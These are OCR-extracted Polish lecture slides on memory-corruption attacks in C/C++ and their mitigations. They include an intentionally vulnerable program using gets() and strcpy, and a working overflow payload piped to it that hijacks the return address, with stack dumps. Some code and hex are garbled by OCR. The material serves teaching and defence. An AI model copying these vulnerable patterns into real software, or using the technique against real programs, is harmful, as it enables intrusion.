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Zarys problemu

v

Jezyki takie jak C i C++
» pozwalaja dowolnie manipulowaé wskaznikiem do pamieci,
> nie sprawdzaja poprawno$ci odwotania do pamieci.

v

Uzywanie tablicy jest réwnie niebezpieczne, bo nazwa tablicy
jest wskaznikiem.

v

Niewtasciwe postugiwanie sie wskaznikiem moze zostac
wykorzytane do przeprowadzenia ataku za pomoca

» przepetnienia bufora na stosie (ang. stack buffer overflow),
przepetnienia bufora na stercie (ang. heap buffer overflow),
dyndajacego wskaznika (ang. dangling pointer),
dzikiego wskaznika (ang. wild pointer).

v vy

v

Problem jest znany od lat 60.

v

Tego typu ataki sa nadal stosowane.



Przepetnienie bufora na stosie

> Umozliwia agresorowi:
> unieruchomienie aplikacji,
» wykonanie dowolnej funkcji w aplikacji,
> wstawienie i wykonanie Ztosliwego kodu.



Przepetnienia bufora na stosie — prosty przyktad

#include <string.h>

void foo(const char *bar) {
char c[12];

strcpy(c, bar);
}

int main(int argc, char *argv([]) {
foo(argv[1]);
return O;

by



Przepetnienia bufora na stosie — prosty przyktad!

!Rysunek zaczerpniety z
http://en.wikipedia.org/wiki/Stack_buffer_overflow


http://en.wikipedia.org/wiki/Stack_buffer_overflow

Funkcja narazona na problem przepetnienia bufora

void bad_function(void) {

char buff[4];

printf ("Stos przed:\n)%0161x\n}%0161x\n%0161x"
"\n%0161x\n%0161x\n%0161x\n%0161x"
"\n%0161x\n%0161x\n%0161x\n\n") ;

gets(buff);

printf ("Stos po:\n%0161x\n%0161x\n%0161x"
"\n%0161x\n%0161x\n%0161x\n%0161x"
"\n%0161x\n%0161x\n%0161x\n\n") ;

printf ("Jestem bezpieczny, bufor zawiera: %s\n"
buff);



Funkcja, ktéra chce wywotac agresor

void root_me(void) {
printf ("Jestem penetrowany.\n");

¥



Program testujacy przepetnienie bufora

#include <stdio.h>
#include <stdlib.h>

int main() {
printf ("Adres bad_function
bad_function);
printf ("Adres root_me
root_me) ;
printf ("Adres exit
exit);
bad_function();
exit (0);
}

%016p\n",

%016p\n",

%016p\n",

Pytanie do publicznosci: dlaczego wypisujemy adres funkgji
root_me?



Poprawne wywotanie

» Kompilacja

gcc -02 -Wall -o buff buff.c

> Adresy funkgji

Adres bad_function
Adres root_me
Adres exit

» Wprowadzone dane
abc
» Wynik dziatania

Jestem bezpieczny,

0x00000000400640
0x00000000400630
0x00000000400508

bufor zawiera: abc



Poprawne wywotanie, zawartos$¢ stosu

Stos przed:

00007£c04£a39000
00007£c04£818e30
0000000000400823
0000000000000001
0000000000400823
00007£c04£82ac20
00007£c04fa3d148
0000000000000000
00000000004006bc
0000000000000000

Stos po:

00000000fbad2288
00007£££b5eb9730
00007£c04£818e20
0000000000000000
0000000000000000
00007£c000636261
00007£c04fa3d148
0000000000000000
00000000004006bc
0000000000000000

rsi
rdx
rcx
r3
r9
wierzch. stosu

adr. powrotu



Atak

> Adresy funkgji

Adres bad_function = 0x00000000400640
Adres root_me = 0x00000000400630
Adres exit = 0x00000000400508

» Wowotujemy

echo -ne "abcdefghijklmnopqrstuvwx
\x30\x06\x40\x00\x00\x00\x00\x00\x08\x05\x40" |
./buff

» Wynik dziatania
Jestem bezpieczny, bufor zawiera: abcdefghijklm
nopqrstuvwx0@
Jestem penetrowany.



Atak, zawartos¢ stosu

Stos przed:

00007£34d2ac6000
00007£34d28a5e30
0000000000400823
0000000000000001
0000000000400823
00007£34d28b7c20
00007£34d2aca148
0000000000000000
00000000004006bc
0000000000000000

Stos po:

00000000£fbad2098
00007£££ba3853b0
00007£34d28a5e20
4005080000000000
0000000000000000
6867666564636261
706f6e6d6c6b6ab9
787T7767574737271
0000000000400630
0000000000400508

rsi
rdx
rcx
r3
r9
wierzch. stosu

adr. powrotu



Niebezpieczne funkcje

» Funkcje, ktére moga doprowadzi¢ do przepetnienia bufora lub
by¢ wykorzystane do ataku z uzyciem przepetnienia bufora:

gets

strcpy strcat strncpy strncat strlen
memcpy

printf fprintf sprintf

scanf

operator>>

> i zapewnie jeszcze wiele innych. ..



Wstawienie i wykonanie ztosliwego kodu

» Do przepetnianego bufora mozna wstawi¢ dowolny kod
i podmieni¢ adres powrotu, aby wykona¢ ten kod.

> Wstawiany kod zwykle wywotuje powtoke systemu
operacyjnego (ang. shellcode).

» Majac dostep do powtoki, mozna dalej penetrowad.

» Nie wiemy, skad zostanie wywotana funkcja, ktéra chcemy
wykorzysta¢ do ataku — trzeba zgadnaé adres przepetnianego
bufora.

» Pomocna jest tu technika slizgania sie po NOP-ach (ang.
NOP sled technique).



Z gérki na pazurki (ang. NOP sled technique)?

d Shellcode

nop | nop | nop | nop

relative
jump

NOP-Sled

relative
jump

2Rysunek zaczerpniety z:
http://en.wikipedia.org/wiki/Buffer_overflow


http://en.wikipedia.org/wiki/Buffer_overflow

Przepetnienie bufora na stercie

> Bufory sg tez przydzielane na stercie za pomoca funkgji
malloc, calloc lub operatora new.
» Wykorzystanie przepetnienia bufora na stercie jest trudniejsze
niz na stosie:
» wymaga przeanalizowania rozmieszczenia struktur danych na
stercie,
> nie umozliwia tatwego wykonania wstawionego kodu.
> Woykorzystanie przepetnienia bufora na stercie umozliwia:

> unieruchomienie programu,
» manipulowanie strukturami danych programu.



Wykorzystanie przepetnienia bufora na stercie

» Sterta jest zwykle zorganizowana jako struktura wskaznikowa,
np. lista dwukierunkowa postugujaca sie wskaznikami next
i prev.

» Zwolnienie bloku pamieci polega na przeniesieniu go z listy
blokéw zajetych na liste blokéw wolnych.

» Podczas zwalniania bloku wskazywanego przez p wykonuja sie
operacje:
p—>prev->next = p->next;
p—>next->prev = p->prev;

> Przepetniajac bufor, mozna nadpisaé wskazniki next, prev
i zmodyfikowaé dowolne miejsce w pamieci.



Dyndajacy i dziki wskaznik

» Nie wskazuje na obiekt (zmienna) odpowiedniego typu.

» Dyndajacy wskaznik powstaje, gdy obiekt jest kasowany lub
zwalniana jest pamieé, bez zmodyfikowania wartosci
wskaznika, ktéry nadal wskazuje pamieé przydzielona
dotychczas obiektowi (zmiennej).
char *p = NULL;

{
char c;
p = &c;
} /* Zmienna c przestaje by¢ widoczna.
Wskaznik p staje sie dyndajacy. */

» Zwolniona pamieé moze zostal przydzielona nowemu
obiektowi, do ktérego dostajemy niespodziewanie dostep za
pomoca dyndajacego wskaznika.

» Dziki wskaznik powstaje, gdy zostanie uzyty przed
zainicjowaniem.



Dyndajacy i dziki wskaznik, cd.

» Dyndajacy lub dziki wskaznik moze zostaé¢ wykorzystany do
zaatakowania programu.

> Jesli wskaznik jest uzywany do wotania funkcji wirtualnej,
uzyskujemy informacje o potozeniu tej tablicy w pamieci, co
utatwia podstawienie i wywotanie ztosliwego kodu.

» Dyndajacy wskaznik moze spowodowaé wyciek informacji.



Zapobieganie (1)

» Przydzielanie adreséw wirtualnych pseudolosowo (ang. address
space layout randomization)

» Nieprzydzielanie ponownie tego samego fragmentu pamieci
wirtualnej — wymagana bardzo duza pamie¢ wirtualna

» Kanarek, czyli unikalna warto$¢ umieszczona na stosie miedzy
zmiennymi automatycznymi a adresem powrotu, sprawdzana
przed powrotem z funkcji — mniejsza wydajnos$¢, nadal
mozliwe unieruchomienie programu

» Zabronienie wykonywania kodu umieszczonego na stosie —
nadal mozliwe wywotanie funkcji bibliotecznej

» Alokowanie buforéw na stercie zamiast na stosie — tylko
utrudnienie ataku, ale nie cakowite uniemozliwienie



Zapobieganie (2)

> Niektére architektury, zwtaszcza RISC, nie posiadaja instrukcji
takich jak call i ret i nie umieszczaja adresu powrotu na
stosie, a w rejestrze LR (ang. link register) — to tylko
niewielkie utrudnienie, zawartos¢ rejestru LR tez musi zostac
odtozona na stos, jesli wywotania procedur s3 zagniezdzone.

» Jesli wykonywalny kod binarny ma by¢ umieszczony w napisie,
nie moze zawiera¢ zerowych bajtéw — dla architektury ARM
udowodniono, ze za pomocy instrukcji bez bajtéw zerowych
nadal mozna zaimplementowa¢ dowolny algorytm.

» Mozna uzyé wysokopoziomowego jezyka, ktéry sam zarzadza
pamiecia, nie ma wskaznikdéw i sprawdza zakresy tablic —
mniejsza wydajnos$é, co nie zawsze jest dopuszczalne, a sam
jezyk pewnie i tak jest zaimplementowany w C lub C4++.



Zapobieganie (3)

» Przytoczone wyzej srodki bardzo utrudniaja, ale nie
uniemozliwiaja wykorzystania btedu w programie.

» Nie chronig tez przed unieruchomieniem programu przez
doprowadzenie do btedu ochrony pamieci.

» Jedynym skutecznym sposobem zapobiegania btedom
zwigzanym z odwotaniami do pamieci jest staranne pisanie
programéw, sprawdzanie poprawnosci argumentéw i wartosci
zwracanych przez funkcje.



